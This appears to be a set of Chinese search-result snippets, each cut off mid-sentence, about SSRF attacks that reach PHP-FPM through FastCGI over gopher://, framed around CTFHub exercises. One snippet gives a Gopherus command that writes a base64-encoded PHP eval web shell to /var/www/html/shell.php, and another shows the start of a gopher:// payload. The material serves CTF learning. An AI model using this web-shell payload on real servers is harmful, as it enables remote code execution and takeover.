还需要提到一个PHP-FPM,FastCGI进程管理器,即在php中(nginx等服务器中间件)FastCGI规则打包好后传递的终点,最后由FPM按照fastcgi的协议将TCP流解析成真正的数据。 比如打包好的数据长这样 {'GATEWAY_INTERFACE':'FastCGI/1.0','REQUEST_METHOD':'GET','SCRIPT_FILENAME':'/var/www/html/index.php','SCRIPT_NAME...
使用工具 Gopherus 生成攻击FastCGI协议的payload python gopherus.py --exploit fastcgi/var/www/html/index.php # 这里输入的是一个已知存在的php文件echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php 这里我直接参考师傅的payload,生成的payload gopher://127.0...
HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。 fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多...
FastCGI协议 HTTP协议是浏览器和服务器中间件进行数据交换的协议,类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端(如PHP-FPM)进行数据交换的协议 Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端(PHP-FPM),语言后端(PHP-FPM)解码以后拿...
Fastcgi就是一个通信协议,相比HTTP协议,HTTP是浏览器与服务器中间件进行数据交换的协议,而FastCGI就是服务器中间件与某个语言后端进行数据交换的协议。 它与HTTP协议一样也有自己特定的格式,这里需要注意的是数据包中也有header和body一说。关于其他具体的格式个人感觉也不用了解的太具体,因为数据包中有很多不可见的字...
下一个是fastcgi协议 附件是一篇文章:https://blog.csdn.net/mysteryflower/article/details/94386461 ,里边讲了fastcgi协议以及漏洞 这里直接按照网上的方法下一个gopherus:https://github.com/tarunkant/Gopherus 是一个生成payload的工具 可以直接clone:git clone https://github.com/tarunkant/Gopherus.git ...
快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。
我们通过CTFHub中的一道SSRF FastCGI协议题目具体进行利用。 根据前面几篇SSRF系列的文章,我们对gopher协议已经有所了解。 gopher://<host>:<port>/<gopher-path>_后接TCP数据流 当后接TCP数据流为我们构造的恶意FastCGI协议报文,即可执行恶意命令。 根据上一章节的FastCGI攻击原理分析,我们需要满足三个条件: PHP版...
通过SSRF,我们可以访问目标内网的redis服务,mysql服务,smpt服务,fastcgi服务等 造成漏洞的一些函数 file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。 readfile():输出一个文件的内容。 fsockopen():打开一个网络连接或者一个Unix套接字连接。
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议 限制 gopher协议在各个编程语言中的使用限制 —wite-curlwrappers选项含义:运用curl工具打开url流 curl使用curl —version查看版本以及支持的协议 ...